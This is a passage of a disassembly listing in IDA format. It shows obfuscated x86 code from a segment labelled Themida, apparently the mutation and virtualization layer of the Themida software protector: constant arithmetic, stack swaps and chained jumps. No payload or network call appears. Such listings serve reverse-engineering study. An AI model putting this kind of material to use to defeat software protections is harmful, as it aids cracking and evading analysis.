loc_5A5598:				; CODE XREF: Themida_:0059DE52j
		add	edx, edi
		sub	edx, 3C1B79BBh
		jmp	loc_598750
; ---------------------------------------------------------------------------


loc_5A55A5:				; CODE XREF: Themida_:005AC754j
		or	edx, 62A476B5h
		and	edx, 7E243E5Eh
		not	edx
		xor	edx, 0E3C99E34h
		or	eax, edx
		pop	edx
		add	eax, 0C44D965Dh
		or	edx, eax
		pop	eax
		sub	edx, 1
		jmp	loc_5A73A5
; ---------------------------------------------------------------------------


loc_5A55CC:				; CODE XREF: Themida_:005AD3D7j
		push	ebp
		mov	ebp, 1BF6F4Ah
		shl	ebp, 2
		jmp	loc_5A13DC
; ---------------------------------------------------------------------------


loc_5A55DA:				; CODE XREF: Themida_:005AABD5j
		mov	esi, 183B35D8h
		push	ecx
		mov	ecx, 33BB21CCh
		xor	ecx, 7CA93E8Ah
		jmp	loc_59B172
; ---------------------------------------------------------------------------


loc_5A55F0:				; CODE XREF: Themida_:0059AEDDj
					; Themida_:005AA2D8j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	esi
		jmp	loc_59C5ED
; ---------------------------------------------------------------------------


loc_5A560A:				; CODE XREF: Themida_:005A8812j
		sub	eax, 88B6697h
		add	eax, ecx
		add	eax, 88B6697h
		pop	ecx
		jmp	loc_59B018
; ---------------------------------------------------------------------------


loc_5A561C:				; CODE XREF: Themida_:005A9BDFj
		sub	edi, 7C74A3EFh
		mov	ecx, edi
		pop	edi
		jmp	loc_5A32EA
; ---------------------------------------------------------------------------


loc_5A562A:				; CODE XREF: Themida_:005A0DB9j
		and	eax, 52B63E3Bh
		not	eax
		jmp	loc_59A6C7
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		mov	dl, 0AEh
		jmp	loc_59AEFF
; ---------------------------------------------------------------------------


loc_5A563F:				; CODE XREF: Themida_:005A9947j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5AE802
; ---------------------------------------------------------------------------


loc_5A564A:				; CODE XREF: Themida_:005A52EFj
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		push	71227AF4h
		jmp	loc_59C75D
; ---------------------------------------------------------------------------


loc_5A565D:				; CODE XREF: Themida_:005A6147j
		mov	edi, 439A44F0h
		jmp	loc_59DBFD
; ---------------------------------------------------------------------------


loc_5A5667:				; CODE XREF: Themida_:005AE91Bj
		and	edx, 4D2E72A6h
		jmp	loc_5AE8A8
; ---------------------------------------------------------------------------


loc_5A5672:				; CODE XREF: Themida_:005AEDDDj
		shl	esi, 5
		add	esi, 32C34975h
		push	ecx
		mov	ecx, 2CCB7F9Eh
		sub	ecx, 0A392790Fh
		jmp	loc_59E91B
; ---------------------------------------------------------------------------


loc_5A568C:				; CODE XREF: Themida_:005A447Cj
		pop	edx
		jmp	loc_59BC5B
; ---------------------------------------------------------------------------


loc_5A5692:				; CODE XREF: Themida_:0059AF58j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	433h
		jmp	loc_5ACFEB
; ---------------------------------------------------------------------------


loc_5A56A8:				; CODE XREF: Themida_:005A705Dj
		shr	esi, 6
		sub	esi, 0DCC57E8Ch
		inc	esi
		jmp	loc_5AE946
; ---------------------------------------------------------------------------


loc_5A56B7:				; CODE XREF: Themida_:0059EDB7j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5A9166
; ---------------------------------------------------------------------------


loc_5A56C6:				; CODE XREF: Themida_:005A1F05j
		jmp	loc_5A36AA
; ---------------------------------------------------------------------------


loc_5A56CB:				; CODE XREF: Themida_:0059DC35j
		mov	esi, 4
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	edi, [esp]
		add	esp, 4
		and	ecx, esi
		mov	esi, [esp]
		jmp	loc_5A1E6F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, 4
		push	eax
		jmp	loc_5ACD43
; ---------------------------------------------------------------------------


loc_5A570E:				; CODE XREF: Themida_:005ABB0Cj
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_59E972
; ---------------------------------------------------------------------------


loc_5A571E:				; CODE XREF: Themida_:00599720j
		pop	esp
		mov	[esp], ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		not	ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		pop	ebp
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1
		and	eax, edi
		mov	edi, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AF11B
; ---------------------------------------------------------------------------


loc_5A575A:				; CODE XREF: Themida_:005AF21Aj
		push	ebp
		mov	ebp, 0FFFFFFFFh
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 7A601309h
		sub	ecx, 6E2FAD5Ch
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 0C0CA2074h
		add	edi, ecx
		pop	ecx
		jmp	loc_59F8C1
; ---------------------------------------------------------------------------


loc_5A5790:				; CODE XREF: Themida_:0059BB1Aj
		add	dword ptr [esp], 413D074Eh
		push	eax
		mov	eax, 212928E0h
		sub	[esp+4], eax
		jmp	loc_5A05AA
; ---------------------------------------------------------------------------


loc_5A57A6:				; CODE XREF: Themida_:005A6EAAj
		pop	ebx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_59940C
; ---------------------------------------------------------------------------


loc_5A57BB:				; CODE XREF: Themida_:005A8C8Fj
		add	esp, 4
		pop	edx
		push	edx
		jmp	loc_59B7BB
; ---------------------------------------------------------------------------


loc_5A57C5:				; CODE XREF: Themida_:005A9EA9j
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		push	esp
		jmp	loc_59EE92
; ---------------------------------------------------------------------------


loc_5A57D0:				; CODE XREF: Themida_:0059BCC9j
		add	[esp+4], edi
		jmp	loc_59FE7B
; ---------------------------------------------------------------------------


loc_5A57D9:				; CODE XREF: Themida_:0059AEC9j
		sub	ebp, 3E965747h
		add	ebp, 47D47ACEh
		jmp	loc_5A441A
; ---------------------------------------------------------------------------


loc_5A57EA:				; CODE XREF: Themida_:005AA57Fj
		add	eax, 4
		add	eax, 4
		jmp	loc_59E8FE
; ---------------------------------------------------------------------------


loc_5A57F9:				; CODE XREF: Themida_:005AEFBDj
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A5802:				; CODE XREF: Themida_:005A94F0j
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		inc	esi
		sub	esi, 0DA1E9C16h
		sub	ebx, esi
		jmp	loc_5AE8FA
; ---------------------------------------------------------------------------


loc_5A5814:				; CODE XREF: Themida_:0059ECE3j
		push	dword ptr [esp]
		jmp	loc_5A649B
; ---------------------------------------------------------------------------


loc_5A581C:				; CODE XREF: Themida_:0059DFB6j
		xor	edx, 55F5343Eh
		sub	edx, 5A482D53h
		xor	eax, edx
		pop	edx
		jmp	loc_5A193A
; ---------------------------------------------------------------------------


loc_5A5830:				; CODE XREF: Themida_:0059B37Aj
		add	al, 86h
		sub	al, 49h
		jmp	loc_5ADD11
; ---------------------------------------------------------------------------


loc_5A5839:				; CODE XREF: Themida_:0059A832j
		push	dword ptr [esp]
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5A6181
; ---------------------------------------------------------------------------


loc_5A5851:				; CODE XREF: Themida_:005A7D60j
		jnp	loc_5A769C
		add	bh, 0B3h
		jmp	loc_5AAAD1
; ---------------------------------------------------------------------------


loc_5A585F:				; CODE XREF: Themida_:0059898Fj
		sub	esi, ebx
		jmp	loc_5AA41B
; ---------------------------------------------------------------------------


loc_5A5866:				; CODE XREF: Themida_:005A3D3Dj
		mov	edx, 4B16632Ah
		mov	esi, 5B6B4153h
		xor	esi, edx
		pop	edx
		shl	esi, 5
		jmp	loc_5A2039
; ---------------------------------------------------------------------------


loc_5A587B:				; CODE XREF: Themida_:0059D914j
		mov	edx, ebp
		pop	ebp
		xor	eax, edx
		pop	edx
		add	edi, eax
		pop	eax
		push	4469h
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, 71BE5A5Eh
		jmp	loc_59ADC1
; ---------------------------------------------------------------------------


loc_5A589C:				; CODE XREF: Themida_:005A7639j
		xor	edi, 34D74A8Bh
		jo	loc_59E8A7
		jmp	loc_5A3724
; ---------------------------------------------------------------------------


loc_5A58AD:				; CODE XREF: Themida_:0059F6D0j
		xor	ebx, 82E7DA2h
		jmp	loc_59F88F
; ---------------------------------------------------------------------------


loc_5A58B8:				; CODE XREF: Themida_:005AED71j
		shl	edx, 4
		jmp	loc_5A453B
; ---------------------------------------------------------------------------


loc_5A58C0:				; CODE XREF: Themida_:005A44D6j
		xor	ebx, [esp]
		mov	esp, [esp]
		inc	dword ptr [esp]
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A58CF:				; CODE XREF: Themida_:0059B63Fj
					; Themida_:005ADE4Dj
		push	eax
		mov	eax, 142631D6h
		or	eax, 3FD357A4h
		shl	eax, 2
		jmp	loc_5A33FE
; ---------------------------------------------------------------------------


loc_5A58E2:				; CODE XREF: Themida_:005A0AADj
		sub	esi, 0FFFFFFFFh
		xor	esi, 0E553FE8Ah
		xor	eax, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5AC53C
; ---------------------------------------------------------------------------


loc_5A5902:				; CODE XREF: Themida_:005A6E8Cj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_59E51F
; ---------------------------------------------------------------------------


loc_5A5910:				; CODE XREF: Themida_:0059DC7Ej
		push	ebx
		mov	ebx, 7FD04A0Eh
		xor	ebx, 2B1600C5h
		jmp	loc_5AE3CF
; ---------------------------------------------------------------------------


loc_5A5921:				; CODE XREF: Themida_:0059F009j
		ja	loc_59C1A0
		jmp	loc_5A7ED0
; ---------------------------------------------------------------------------
		mov	ecx, 18BD0135h
		mov	bl, 6Ah


loc_5A5933:				; CODE XREF: Themida_:005A6EA2j
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]


loc_5A593A:				; CODE XREF: Themida_:0059B8D8j
		push	827h
		jmp	loc_5ABC75
; ---------------------------------------------------------------------------


loc_5A5944:				; CODE XREF: Themida_:005A0548j
		sub	ebx, 287A244Ch
		add	ebx, ebp
		push	ecx
		mov	ecx, 287A244Ch
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 4DAF0625h
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	1215h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5ADE27
; ---------------------------------------------------------------------------


loc_5A5988:				; CODE XREF: Themida_:0059B446j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	5AE3h
		mov	[esp], ebp
		mov	ebp, esp
		push	ebp
		sub	esp, 4
		jmp	loc_5AF098
; ---------------------------------------------------------------------------


loc_5A59A4:				; CODE XREF: Themida_:005ADF90j
		jmp	loc_5AAE51
; ---------------------------------------------------------------------------


loc_5A59A9:				; CODE XREF: Themida_:005AA2E1j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_59DBC9
; ---------------------------------------------------------------------------


loc_5A59B7:				; CODE XREF: Themida_:005A2187j
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A59C1:				; CODE XREF: Themida_:005A8DA7j
		sub	ebx, 1C932E7h
		push	edi
		mov	edi, 6A69156Fh
		add	edi, 651D4580h
		inc	edi
		add	edi, 830648B1h
		jmp	loc_59DC0A
; ---------------------------------------------------------------------------


loc_5A59DF:				; CODE XREF: Themida_:0059B1ECj
		and	edi, 53119D4h
		or	edi, 30B26698h
		push	eax
		jmp	loc_598442
; ---------------------------------------------------------------------------


loc_5A59F1:				; CODE XREF: Themida_:005AC2F4j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	1A71h
		mov	[esp], edx
		mov	edx, 2
		push	edx
		xor	dword ptr [esp], 45A510A6h
		pop	ebp
		push	ebx
		mov	ebx, 45A510A6h
		xor	ebp, ebx
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_5A7CF9
; ---------------------------------------------------------------------------


loc_5A5A2A:				; CODE XREF: Themida_:005ABDAEj
		shr	ecx, 3
		jmp	loc_5A17DA
; ---------------------------------------------------------------------------


loc_5A5A32:				; CODE XREF: Themida_:005A918Bj
		mov	ecx, 4
		jmp	loc_59F773
; ---------------------------------------------------------------------------


loc_5A5A3C:				; CODE XREF: Themida_:005ADB11j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, ebx
		push	edi
		mov	edi, ecx
		mov	ebp, edi
		jmp	loc_5A3470
; ---------------------------------------------------------------------------


loc_5A5A5A:				; CODE XREF: Themida_:005A097Ej
		add	eax, edi
		jmp	loc_59A1C8
; ---------------------------------------------------------------------------


loc_5A5A61:				; CODE XREF: Themida_:0059F10Fj
		push	ebp
		jmp	loc_5A3C36
; ---------------------------------------------------------------------------


loc_5A5A67:				; CODE XREF: Themida_:005A9839j
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		jmp	loc_5A24A1
; ---------------------------------------------------------------------------


loc_5A5A73:				; CODE XREF: Themida_:005A37AFj
		movzx	ax, byte ptr [eax]
		push	small 6358h
		mov	[esp], ax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A5A84:				; CODE XREF: Themida_:0059CDBAj
		mov	edx, [esp]
		add	esp, 4
		add	edx, 1A587E3Bh
		pop	ebp
		add	edx, 19421BE9h
		and	edx, 104772D4h
		jmp	loc_5AD99D
; ---------------------------------------------------------------------------


loc_5A5AA2:				; CODE XREF: Themida_:005AA85Bj
		add	eax, 34DEEA45h
		jmp	loc_5A3000
; ---------------------------------------------------------------------------


loc_5A5AAC:				; CODE XREF: Themida_:005A2018j
		push	1AF2h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_5A712F
; ---------------------------------------------------------------------------


loc_5A5AC9:				; CODE XREF: Themida_:005A178Bj
		xchg	ebp, [esp]
		jmp	loc_5A63A6
; ---------------------------------------------------------------------------


loc_5A5AD1:				; CODE XREF: Themida_:0059D301j
		sub	ecx, 0A06149A9h
		add	ebx, 5D431BFEh
		add	ebx, ecx
		push	edx
		mov	edx, 559D1737h
		sub	edx, 2B666B33h
		shr	edx, 7
		shl	edx, 2
		shl	edx, 8
		xor	edx, 91F304Ah
		add	edx, 498CBB4h
		sub	ebx, edx
		pop	edx
		pop	ecx
		add	ecx, 76382C2Ch
		add	ecx, ebx
		sub	ecx, 76382C2Ch
		mov	ebx, [esp]
		jmp	loc_59EC7B
; ---------------------------------------------------------------------------


loc_5A5B1A:				; CODE XREF: Themida_:005AE11Cj
		dec	eax
		and	eax, 707C7C23h
		jmp	loc_5A2857
; ---------------------------------------------------------------------------


loc_5A5B25:				; CODE XREF: Themida_:005AAB16j
		pop	esp
		jmp	loc_5A34B0
; ---------------------------------------------------------------------------


loc_5A5B2B:				; CODE XREF: Themida_:005AAEFFj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		push	76C2h
		mov	[esp], esi
		push	ebp
		jmp	loc_59F5A4
; ---------------------------------------------------------------------------


loc_5A5B47:				; CODE XREF: Themida_:005997C1j
					; Themida_:005AC096j
		mov	eax, 3C43AB30h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		add	[edi+24h], eax
		pop	eax


loc_5A5B74:				; CODE XREF: Themida_:0059C225j
		push	edx
		push	256Ah
		jmp	loc_5ADB0E
; ---------------------------------------------------------------------------


loc_5A5B7F:				; CODE XREF: Themida_:005A39B5j
		dec	ecx
		jge	loc_598EF8
		xor	ecx, 626A0381h
		jmp	loc_59FCEA
; ---------------------------------------------------------------------------
		push	ebx
		pop	esi


loc_5A5B93:				; CODE XREF: Themida_:00598EAAj
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5A1999
; ---------------------------------------------------------------------------


loc_5A5BA2:				; CODE XREF: Themida_:005A2BB9j
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5AA75C
; ---------------------------------------------------------------------------


loc_5A5BB3:				; CODE XREF: Themida_:005AA032j
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_59C720
; ---------------------------------------------------------------------------


loc_5A5BC1:				; CODE XREF: Themida_:005ADDF8j
		or	eax, ecx
		pop	ecx
		push	edx
		push	19B04F4h
		mov	edx, [esp]
		jmp	loc_5A4184
; ---------------------------------------------------------------------------


loc_5A5BD2:				; CODE XREF: Themida_:0059FE7Cj
		pop	eax
		push	ebp
		jmp	loc_59CC3E
; ---------------------------------------------------------------------------


loc_5A5BD9:				; CODE XREF: Themida_:005A86C9j
		xchg	edi, [esp]
		pop	esi
		push	edx
		mov	edx, 0F0998723h
		xor	esi, edx
		pop	edx
		jmp	loc_59D9A3
; ---------------------------------------------------------------------------


loc_5A5BEB:				; CODE XREF: Themida_:005A2C3Bj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	ebx
		mov	ebx, esp
		jmp	loc_5AAF34
; ---------------------------------------------------------------------------


loc_5A5C00:				; CODE XREF: Themida_:005A4536j
		mov	ecx, 5EBD6D4Ch
		sub	ebx, 778A5AAAh
		sub	ebx, ecx
		push	esi
		mov	esi, 1F5734A7h
		xor	esi, 15F37557h
		inc	esi
		add	esi, 67AA28FEh
		add	esi, 377E1893h
		shl	esi, 8
		push	ecx
		mov	ecx, 0C7411Fh
		add	ecx, 5D4E3EFAh
		shl	ecx, 5
		neg	ecx
		not	ecx
		add	ecx, 0E856D58Bh
		add	esi, ecx
		pop	ecx
		add	ebx, esi
		pop	esi
		pop	ecx
		push	eax
		mov	eax, 53B3310Ch
		inc	eax
		xor	eax, 194164C2h
		add	ebx, eax
		pop	eax
		add	ebx, 5AB94950h
		push	dword ptr [esp]
		jmp	loc_5A1101
; ---------------------------------------------------------------------------


loc_5A5C66:				; CODE XREF: Themida_:005A41CAj
		mov	eax, [esp]
		jmp	loc_5AD216
; ---------------------------------------------------------------------------


loc_5A5C6E:				; CODE XREF: Themida_:005A883Aj
		add	dword ptr [esp], 4
		jmp	loc_59BAB7
; ---------------------------------------------------------------------------


loc_5A5C77:				; CODE XREF: Themida_:005AABC2j
					; Themida_:005AD246j
		mov	esi, 78BE426Bh
		add	ebx, esi
		pop	esi
		push	eax
		mov	eax, 74DF6CCEh
		and	ebx, eax
		pop	eax
		jmp	loc_599C97
; ---------------------------------------------------------------------------


loc_5A5C8D:				; CODE XREF: Themida_:005A2FC4j
					; Themida_:005A42C1j
		mov	edi, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5AC674
; ---------------------------------------------------------------------------


loc_5A5CA0:				; CODE XREF: Themida_:005ADD67j
		add	eax, 4
		push	esi
		mov	esi, 4
		jmp	loc_5ADC28
; ---------------------------------------------------------------------------


loc_5A5CB0:				; CODE XREF: Themida_:005A5074j
		mov	eax, [esp]
		push	7C83h
		jmp	loc_59E027
; ---------------------------------------------------------------------------


loc_5A5CBD:				; CODE XREF: Themida_:00598A3Aj
		add	edx, edi
		pop	edi
		add	edx, edi
		sub	edx, 7C306788h
		jmp	loc_5A6E99
; ---------------------------------------------------------------------------


loc_5A5CCD:				; CODE XREF: Themida_:005A88C8j
		pop	ebp
		sub	dword ptr [esp], 1B531D13h
		add	[esp], eax
		jmp	loc_5A37F8
; ---------------------------------------------------------------------------


loc_5A5CDD:				; CODE XREF: Themida_:005986E6j
		mov	esi, 413D1BCBh
		add	ecx, esi
		jmp	loc_5ADF70
; ---------------------------------------------------------------------------


loc_5A5CE9:				; CODE XREF: Themida_:005A7A37j
		push	ecx
		mov	ch, 0CEh
		or	ch, 6Fh
		xor	ch, 20h
		jmp	loc_5A7FE0
; ---------------------------------------------------------------------------


loc_5A5CF7:				; CODE XREF: Themida_:005A6375j
		xor	eax, [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A5D07:				; CODE XREF: Themida_:0059B406j
		push	6D3926A5h
		pop	eax
		neg	eax
		jle	loc_5A780B
		or	eax, 91D4568h
		jmp	loc_59D327
; ---------------------------------------------------------------------------


loc_5A5D1F:				; CODE XREF: Themida_:005A6401j
		add	al, 2Eh
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 25h
		add	al, cl
		mov	ecx, [esp]
		jmp	loc_5AF2CE
; ---------------------------------------------------------------------------


loc_5A5D33:				; CODE XREF: Themida_:00598EC9j
		push	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5AB421
; ---------------------------------------------------------------------------


loc_5A5D48:				; CODE XREF: Themida_:0059BB97j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	8000h
		push	dword ptr [esp]
		jmp	loc_5AB9D6
; ---------------------------------------------------------------------------


loc_5A5D5F:				; CODE XREF: Themida_:005AD9F2j
					; Themida_:005ADEC7j
		and	ecx, 151F1E61h
		js	loc_5AF10D
		add	ecx, 25A052AFh
		jb	loc_59E5E8
		or	ecx, 4B6E6129h
		jmp	loc_5997F6
; ---------------------------------------------------------------------------


loc_5A5D82:				; CODE XREF: Themida_:0059925Cj
					; Themida_:0059E6CAj
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		jmp	loc_5A6E7F
; ---------------------------------------------------------------------------


loc_5A5D8D:				; CODE XREF: Themida_:005AC606j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_598E7E
; ---------------------------------------------------------------------------


loc_5A5D9E:				; CODE XREF: Themida_:loc_5A83A4j
		jmp	loc_5AEF51
; ---------------------------------------------------------------------------


loc_5A5DA3:				; CODE XREF: Themida_:005A21FFj
		mov	esi, esp
		push	edi
		jmp	loc_598740
; ---------------------------------------------------------------------------


loc_5A5DAB:				; CODE XREF: Themida_:005A63BCj
		mov	esi, ebp
		pop	ebp
		add	[esp+8], esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ebp
		jmp	loc_5AE6A5
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		push	34D2h
		jmp	loc_5A73D0
; ---------------------------------------------------------------------------


loc_5A5DCE:				; CODE XREF: Themida_:005A1E21j
		push	ecx
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		push	70A05678h
		pop	ebx
		shr	ebx, 5
		not	ebx
		add	ebx, 5359151Fh
		mov	edx, ebx
		mov	ebx, [esp]
		jmp	loc_5AB176
; ---------------------------------------------------------------------------


loc_5A5DF1:				; CODE XREF: Themida_:005A6B41j
		mov	edx, 30DF1320h
		xor	edx, 3B16104Ah
		dec	edx
		js	loc_5A252A
		jmp	loc_59C9C5
; ---------------------------------------------------------------------------


loc_5A5E08:				; CODE XREF: Themida_:005A549Fj
					; Themida_:005A8349j
		pop	eax
		sub	eax, 317A494Ch
		jg	loc_5AC242
		jmp	loc_5A30DB
; ---------------------------------------------------------------------------


loc_5A5E19:				; CODE XREF: Themida_:005A7245j
		sub	edi, 0FFFFFFFFh
		inc	edi
		jmp	loc_59C4F6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	1605h
		mov	[esp], eax
		jmp	loc_59C8B5
; ---------------------------------------------------------------------------


loc_5A5E39:				; CODE XREF: Themida_:005A07B5j
		push	ebx
		push	54965D06h
		jmp	loc_5A66BB
; ---------------------------------------------------------------------------


loc_5A5E44:				; CODE XREF: Themida_:005AA009j
		mov	[esp], eax
		push	esi
		push	62655D88h
		jmp	loc_5A831E
; ---------------------------------------------------------------------------


loc_5A5E52:				; CODE XREF: Themida_:005AA9FAj
		add	esp, 4
		mov	ecx, edi
		pop	edi
		xor	eax, ecx
		jmp	loc_5AB75A
; ---------------------------------------------------------------------------


loc_5A5E62:				; CODE XREF: Themida_:005A30E4j
					; Themida_:005A8176j
		and	ebx, 76AB74C6h
		push	ecx
		push	ebp
		mov	ebp, 31ECD04Dh
		mov	ecx, ebp
		jmp	loc_5A80D9
; ---------------------------------------------------------------------------


loc_5A5E76:				; CODE XREF: Themida_:0059BCFEj
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	esi
		push	73D2h
		mov	[esp], ecx
		jmp	loc_59DB35
; ---------------------------------------------------------------------------


loc_5A5E9D:				; CODE XREF: Themida_:005AC37Bj
		add	esp, 4
		jmp	loc_5A2892
; ---------------------------------------------------------------------------


loc_5A5EA8:				; CODE XREF: Themida_:00598F9Ej
		pop	esp
		jmp	loc_5AF0F4
; ---------------------------------------------------------------------------


loc_5A5EAE:				; CODE XREF: Themida_:0059D747j
		mov	esp, [esp]
		jmp	loc_5AD80F
; ---------------------------------------------------------------------------


loc_5A5EB6:				; CODE XREF: Themida_:005AD48Dj
					; Themida_:loc_5AEA48j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59D478
; ---------------------------------------------------------------------------


loc_5A5ECD:				; CODE XREF: Themida_:005A4CD0j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5A5393
; ---------------------------------------------------------------------------


loc_5A5EDB:				; CODE XREF: Themida_:005A2C84j
		shr	esi, 5
		jnz	loc_5AE18A
		jmp	loc_5A81F8
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		mov	[esp], eax
		pop	esp


loc_5A5EF0:				; CODE XREF: Themida_:005A3A6Ej
		add	esi, edx
		jmp	loc_59A485
; ---------------------------------------------------------------------------


loc_5A5EF7:				; CODE XREF: Themida_:005A1220j
		sub	bl, 0F3h
		jmp	loc_5AC0FC
; ---------------------------------------------------------------------------


loc_5A5EFF:				; CODE XREF: Themida_:005A2AD3j
		xor	ebx, 184E6F65h
		shl	ebx, 1
		not	ebx
		neg	ebx
		sub	ebx, 8F6852C7h
		add	eax, ebx
		jmp	loc_5A49EA
; ---------------------------------------------------------------------------


loc_5A5F18:				; CODE XREF: Themida_:005AC967j
		mov	esi, ecx
		pop	ecx
		not	esi
		push	0
		sub	[esp], esi
		pop	esi
		push	esi
		not	dword ptr [esp]
		jmp	loc_5A869A
; ---------------------------------------------------------------------------


loc_5A5F2F:				; CODE XREF: Themida_:005A1778j
		push	edi
		mov	edi, 4
		jmp	loc_5ACCC9
; ---------------------------------------------------------------------------


loc_5A5F3A:				; CODE XREF: Themida_:0059C8CEj
		mov	[esp], ecx
		mov	ecx, 2C18576Dh
		jmp	loc_59FEDB
; ---------------------------------------------------------------------------


loc_5A5F47:				; CODE XREF: Themida_:loc_5AF14Cj
		add	ebp, 1C40B24h
		xor	ebp, 0B931F36h
		xor	ebp, 0B1CE7D06h
		mov	edi, ebp
		jmp	loc_5A3B5C
; ---------------------------------------------------------------------------


loc_5A5F60:				; CODE XREF: Themida_:005A70CDj
		mov	[esp], ebp
		mov	ebp, 709716B0h
		or	esi, ebp
		jmp	loc_5A2410
; ---------------------------------------------------------------------------


loc_5A5F6F:				; CODE XREF: Themida_:00599CECj
		push	564h
		mov	[esp], edi
		xor	dword ptr [esp], 210058D6h
		pop	edx
		xor	edx, 210058D6h
		pop	edi
		sub	edx, 6E9A73C4h
		jmp	loc_59BE0D
; ---------------------------------------------------------------------------


loc_5A5F91:				; CODE XREF: Themida_:005A29D6j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	66D5h
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	ebx
		push	edi
		mov	edi, 12C25D61h
		or	edi, 7B56312Ah
		jmp	loc_5AE7AA
; ---------------------------------------------------------------------------


loc_5A5FBB:				; CODE XREF: Themida_:0059D52Cj
		mov	eax, 49F653A0h
		xor	eax, 6ED86514h
		not	eax
		sub	eax, 0A9BC935Ch
		dec	eax
		inc	eax
		add	eax, 5FB442FFh
		push	edi
		mov	edi, 8A9BBEE0h
		sub	eax, 780106C7h
		add	eax, edi
		add	eax, 780106C7h
		pop	edi
		jmp	loc_5AA7B3
; ---------------------------------------------------------------------------


loc_5A5FEB:				; CODE XREF: Themida_:005A4578j
		xor	ebx, [esp]
		xor	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		push	ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
